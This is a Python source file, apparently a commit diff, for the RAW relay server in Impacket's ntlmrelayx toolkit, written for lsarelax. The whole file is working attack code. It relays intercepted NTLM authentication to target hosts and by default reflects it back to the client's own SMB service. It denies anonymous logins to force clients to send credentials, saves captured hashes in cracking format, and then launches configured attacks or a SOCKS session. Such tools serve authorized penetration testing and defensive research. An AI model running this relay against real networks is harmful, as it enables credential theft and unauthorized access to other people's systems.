1+ # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2+ #
3+ # This software is provided under under a slightly modified version
4+ # of the Apache Software License. See the accompanying LICENSE file
5+ # for more information.
6+ #
7+ # HTTP Relay Server
8+ #
9+ # Authors:
10+ # Alberto Solino (@agsolino)
11+ # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12+ # Ceri Coburn (@_EthicalChaos_)
13+ #
14+ # Description:
15+ # Written for lsarelax, but the RAW server can be used by any third-party NTLM relay server that would like to integrate with ntlmrelayx supported clients/attacks
16+ import socketserver
17+ import socket
18+ import base64
19+ import random
20+ import struct
21+ import string
22+ from threading import Thread
23+ from six import PY2
24+
25+ from impacket import ntlm , LOG
26+ from impacket .smbserver import outputToJohnFormat , writeJohnOutputToFile
27+ from impacket .nt_errors import STATUS_ACCESS_DENIED , STATUS_SUCCESS
28+ from impacket .examples .ntlmrelayx .utils .targetsutils import TargetsProcessor
29+ from impacket .examples .ntlmrelayx .servers .socksserver import activeConnections
30+
31+
32+ class RAWRelayServer (Thread ):
33+
34+ class RAWServer (socketserver .ThreadingMixIn , socketserver .TCPServer ):
35+
36+ def __init__ (self , server_address , RequestHandlerClass , config ):
37+ self .config = config
38+ self .daemon_threads = True
39+ #if self.config.ipv6:
40+ # self.address_family = socket.AF_INET6
41+
42+ socketserver .TCPServer .__init__ (self , server_address , RequestHandlerClass )
43+
44+ class RAWHandler (socketserver .BaseRequestHandler ):
45+
46+ def __init__ (self , request , client_address , server ):
47+ self .server = server
48+ self .challengeMessage = None
49+ self .target = None
50+ self .client = None
51+ self .machineAccount = None
52+ self .machineHashes = None
53+ self .domainIp = None
54+ self .authUser = None
55+
56+ if self .server .config .target is None :
57+ # Reflection mode, defaults to SMB at the target, for now
58+ self .server .config .target = TargetsProcessor (singleTarget = 'SMB://%s:445/' % client_address [0 ])
59+ self .target = self .server .config .target .getTarget ()
60+ if self .target is None :
61+ LOG .info ("RAW: Received connection from %s, but there are no more targets left!" % client_address [0 ])
62+ return
63+
64+ LOG .info ("RAW: Received connection from %s, attacking target %s://%s" % (client_address [0 ] ,self .target .scheme , self .target .netloc ))
65+
66+ super ().__init__ (request , client_address , server )
67+
68+ def handle (self ):
69+
70+ ntlm_negotiate_len = struct .unpack ('h' , self .request .recv (2 ))
71+ ntlm_negotiate = self .request .recv (ntlm_negotiate_len [0 ])
72+
73+ if not self .do_ntlm_negotiate (ntlm_negotiate ):
74+ # Connection failed
75+ LOG .error ('Negotiating NTLM with %s://%s failed. Skipping to next target' ,
76+ self .target .scheme , self .target .netloc )
77+ self .server .config .target .logTarget (self .target )
78+
79+ else :
80+
81+ ntlm_chal_token = self .challengeMessage .getData ()
82+ self .request .sendall (struct .pack ('h' , len (ntlm_chal_token )))
83+ self .request .sendall (ntlm_chal_token )
84+
85+ ntlm_auth_len = struct .unpack ('h' , self .request .recv (2 ))
86+ ntlm_auth = self .request .recv (ntlm_auth_len [0 ])
87+
88+ authenticateMessage = ntlm .NTLMAuthChallengeResponse ()
89+ authenticateMessage .fromString (ntlm_auth )
90+
91+ if not self .do_ntlm_auth (ntlm_auth , authenticateMessage ):
92+
93+ self .request .sendall (struct .pack ('h' , 1 ))
94+ self .request .sendall (struct .pack ('?' , False ))
95+
96+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
97+ LOG .error ("Authenticating against %s://%s as %s\\ %s FAILED" % (
98+ self .target .scheme , self .target .netloc ,
99+ authenticateMessage ['domain_name' ].decode ('utf-16le' ),
100+ authenticateMessage ['user_name' ].decode ('utf-16le' )))
101+ else :
102+ LOG .error ("Authenticating against %s://%s as %s\\ %s FAILED" % (
103+ self .target .scheme , self .target .netloc ,
104+ authenticateMessage ['domain_name' ].decode ('ascii' ),
105+ authenticateMessage ['user_name' ].decode ('ascii' )))
106+ else :
107+ # Relay worked, do whatever we want here...
108+ self .request .sendall (struct .pack ('h' , 1 ))
109+ self .request .sendall (struct .pack ('?' , True ))
110+
111+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
112+ LOG .info ("Authenticating against %s://%s as %s\\ %s SUCCEED" % (
113+ self .target .scheme , self .target .netloc , authenticateMessage ['domain_name' ].decode ('utf-16le' ),
114+ authenticateMessage ['user_name' ].decode ('utf-16le' )))
115+ else :
116+ LOG .info ("Authenticating against %s://%s as %s\\ %s SUCCEED" % (
117+ self .target .scheme , self .target .netloc , authenticateMessage ['domain_name' ].decode ('ascii' ),
118+ authenticateMessage ['user_name' ].decode ('ascii' )))
119+
120+ ntlm_hash_data = outputToJohnFormat (self .challengeMessage ['challenge' ],
121+ authenticateMessage ['user_name' ],
122+ authenticateMessage ['domain_name' ],
123+ authenticateMessage ['lanman' ], authenticateMessage ['ntlm' ])
124+ self .client .sessionData ['JOHN_OUTPUT' ] = ntlm_hash_data
125+
126+ if self .server .config .outputFile is not None :
127+ writeJohnOutputToFile (ntlm_hash_data ['hash_string' ], ntlm_hash_data ['hash_version' ],
128+ self .server .config .outputFile )
129+
130+ self .server .config .target .logTarget (self .target , True , self .authUser )
131+
132+ self .do_attack ()
133+
134+ def do_ntlm_negotiate (self , token ):
135+
136+ if self .target .scheme .upper () in self .server .config .protocolClients :
137+ self .client = self .server .config .protocolClients [self .target .scheme .upper ()](self .server .config , self .target )
138+ # If connection failed, return
139+ if not self .client .initConnection ():
140+ return False
141+ self .challengeMessage = self .client .sendNegotiate (token )
142+
143+ # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
144+ if self .server .config .remove_target :
145+ av_pairs = ntlm .AV_PAIRS (self .challengeMessage ['TargetInfoFields' ])
146+ del av_pairs [ntlm .NTLMSSP_AV_HOSTNAME ]
147+ self .challengeMessage ['TargetInfoFields' ] = av_pairs .getData ()
148+ self .challengeMessage ['TargetInfoFields_len' ] = len (av_pairs .getData ())
149+ self .challengeMessage ['TargetInfoFields_max_len' ] = len (av_pairs .getData ())
150+
151+ # Check for errors
152+ if self .challengeMessage is False :
153+ return False
154+ else :
155+ LOG .error ('Protocol Client for %s not found!' % self .target .scheme .upper ())
156+ return False
157+
158+ return True
159+
160+ def do_ntlm_auth (self , token , authenticateMessage ):
161+
162+ # For some attacks it is important to know the authenticated username, so we store it
163+ if authenticateMessage ['flags' ] & ntlm .NTLMSSP_NEGOTIATE_UNICODE :
164+ self .authUser = ('%s/%s' % (authenticateMessage ['domain_name' ].decode ('utf-16le' ),
165+ authenticateMessage ['user_name' ].decode ('utf-16le' ))).upper ()
166+ else :
167+ self .authUser = ('%s/%s' % (authenticateMessage ['domain_name' ].decode ('ascii' ),
168+ authenticateMessage ['user_name' ].decode ('ascii' ))).upper ()
169+
170+ if authenticateMessage ['user_name' ] != '' or self .target .hostname == '127.0.0.1' :
171+ clientResponse , errorCode = self .client .sendAuth (token )
172+ else :
173+ # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
174+ # when coming from localhost
175+ errorCode = STATUS_ACCESS_DENIED
176+
177+ if errorCode == STATUS_SUCCESS :
178+ return True
179+
180+ return False
181+
182+ def do_attack (self ):
183+ # Check if SOCKS is enabled and if we support the target scheme
184+ if self .server .config .runSocks and self .target .scheme .upper () in self .server .config .socksServer .supportedSchemes :
185+ # Pass all the data to the socksplugins proxy
186+ activeConnections .put ((self .target .hostname , self .client .targetPort , self .target .scheme .upper (),
187+ self .authUser , self .client , self .client .sessionData ))
188+ return
189+
190+ # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
191+ if self .target .scheme .upper () in self .server .config .attacks :
192+ # We have an attack.. go for it
193+ clientThread = self .server .config .attacks [self .target .scheme .upper ()](self .server .config , self .client .session ,
194+ self .authUser )
195+ clientThread .start ()
196+ else :
197+ LOG .error ('No attack configured for %s' % self .target .scheme .upper ())
198+
199+ def __init__ (self , config ):
200+ Thread .__init__ (self )
201+ self .daemon = True
202+ self .config = config
203+ self .server = None
204+
205+ def run (self ):
206+
207+ if self .config .listeningPort :
208+ rawport = self .config .listeningPort
209+ else :
210+ rawport = 6666
211+
212+ LOG .info ("Setting up RAW Server on port " + str (rawport ))
213+
214+ # changed to read from the interfaceIP set in the configuration
215+ self .server = self .RAWServer ((self .config .interfaceIp , rawport ), self .RAWHandler , self .config )
216+
217+ try :
218+ self .server .serve_forever ()
219+ except KeyboardInterrupt :
220+ pass
221+ LOG .info ('Shutting down RAW Server' )
222+ self .server .server_close ()
0 commit comments